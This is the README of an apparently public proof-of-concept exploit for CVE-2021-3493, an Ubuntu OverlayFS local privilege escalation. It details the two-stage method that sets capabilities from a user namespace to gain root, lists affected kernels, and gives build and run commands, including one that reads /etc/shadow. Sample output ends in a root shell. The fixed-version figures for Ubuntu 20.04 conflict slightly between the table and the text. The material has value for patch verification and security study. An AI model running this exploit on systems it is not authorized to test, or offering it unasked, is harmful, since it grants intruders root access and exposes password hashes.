
A working proof-of-concept for CVE-2021-3493, a local privilege escalation vulnerability in the Ubuntu kernel's OverlayFS implementation.
An unprivileged user can mount an overlay filesystem inside a user namespace and set arbitrary file capabilities via setxattr. The kernel fails to validate the namespace origin of these capabilities, so they take effect in the init user namespace — allowing any local user to escalate to root.
This vulnerability is Ubuntu-specific. Ubuntu carries a patch (FS_USERNS_MOUNT) that allows unprivileged overlay mounts — upstream kernels do not, so mainline Linux and other distributions are generally not affected.
| Distribution | Kernel | Vulnerable (fixed in) |
|---|---|---|
| Ubuntu 20.10 | 5.8 | < 5.8.0-50 |
| Ubuntu 20.04 LTS | 5.4 | < 5.4.0-72 |
| Ubuntu 18.04 LTS | 4.15 | < 4.15.0-142 |
| Ubuntu 18.04 LTS (HWE) | 5.3 | < 5.3.0-73 |
| Ubuntu 16.04 LTS | 4.4 | < 4.4.0-209 |
| Ubuntu 14.04 ESM (HWE) | 4.4 | < 4.4.0-209 |
Source: USN-4916-1
This PoC uses a two-stage design:
| File | Role |
|---|---|
exploit.c | Stage 1 — Creates an overlay filesystem inside a user namespace, copies the rootshell payload into it, and sets security.capability xattr with all capabilities (all+ep) |
Why two stages? The original inspiringz/CVE-2021-3493 PoC has the exploit exec a shell from within the user namespace, so uid=0 is only a namespace mapping — not real root. This PoC separates the overlay setup (child process in user namespace) from the payload execution (parent process in init namespace), ensuring genuine privilege escalation.
exploit (init ns, uid=1000)
│
├─ fork → child (user ns)
│ ├─ unshare(CLONE_NEWUSER | CLONE_NEWNS)
│ ├─ mount overlayfs
│ ├─ copy rootshell → overlay merge dir
│ ├─ setxattr("security.capability", all+ep) ← vulnerability trigger
│ └─ exit
│
└─ parent (init ns, uid=1000)
└─ execl("upper/rootshell")
├─ kernel loads file capabilities in init ns
│ CapPrm: 0000003fffffffff
│ CapEff: 0000003fffffffff
├─ setuid(0) → success
├─ setgid(0) → success
└─ exec /bin/bash → real root shell
/dev/shm → /tmp: The original uses /dev/shm which is mounted with nosuid, causing the kernel to silently ignore file capabilities on exec. This PoC uses /tmp (typically on ext4 without nosuid).
Two-stage payload: The original copies itself (/proc/self/exe) as the capability-bearing binary, but since the exploit calls unshare, re-executing it just re-enters a user namespace. This PoC uses a separate rootshell binary that directly consumes the capabilities.
| OS | Ubuntu 20.04.1 LTS (Focal Fossa) |
| Kernel | 5.4.0-65-generic (vulnerable) / 5.4.0-216-generic (patched) |
| Config | Default Ubuntu Server install — no mitigations disabled |
The test host uses a stock Ubuntu 20.04 kernel with all default security features intact:
CONFIG_USER_NS=y + kernel.unprivileged_userns_clone=1 (default — allows unprivileged user namespaces)CONFIG_OVERLAY_FS=m (default — OverlayFS available as module)BOOT_IMAGE=... root=... ro)No security features need to be disabled — the exploit works out of the box on default Ubuntu 20.04 with a vulnerable kernel.
⚠️ WARNING: Only run this on systems you own or are explicitly authorized to test. This exploit grants real root access.
make
./exploit
Default behavior spawns an interactive root shell. You can also run a single command:
./exploit "id && cat /etc/shadow"
============================================
CVE-2021-3493 OverlayFS Privilege Escalation
Kernel: 5.4.0-65-generic
User: uid=1000(user) gid=1000(user)
============================================
[1] Setting up overlay filesystem in user namespace...
[2] File capabilities set on /tmp/.ovlcap/upper/rootshell
[3] Executing rootshell from init namespace...
[*] Before privilege escalation:
uid=1000(user) gid=1000(user)
[*] Process capabilities:
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
[+] After setuid(0) + setgid(0):
uid=0(root) gid=0(root)
root@host:~#
make clean
Patched kernels (e.g. >= 5.4.0-70 on Ubuntu 20.04) upgrade the capability xattr from v2 to v3 format when set through an overlay in a user namespace. The v3 format includes a rootid field recording the setter's real UID in the init namespace. On exec, the kernel checks rootid — if it is not 0, the capabilities are rejected:
# Vulnerable kernel (5.4.0-65) — v2 format, no rootid
security.capability = 0x01000002 ffffffff00000000 ffffffff00000000
# Patched kernel (5.4.0-70+) — v3 format, rootid=1000
security.capability = 0x01000003 ffffffff00000000 ffffffff00000000 e8030000
^^ ^^^^^^^^
v3 rootid=1000
This code is provided for security research and authorized testing only. Use it only on systems you own or have explicit written permission to test. The authors assume no liability for misuse.
rootshell.cStage 2 — A clean payload that leverages the file capabilities to call setuid(0) and spawn a real root shell |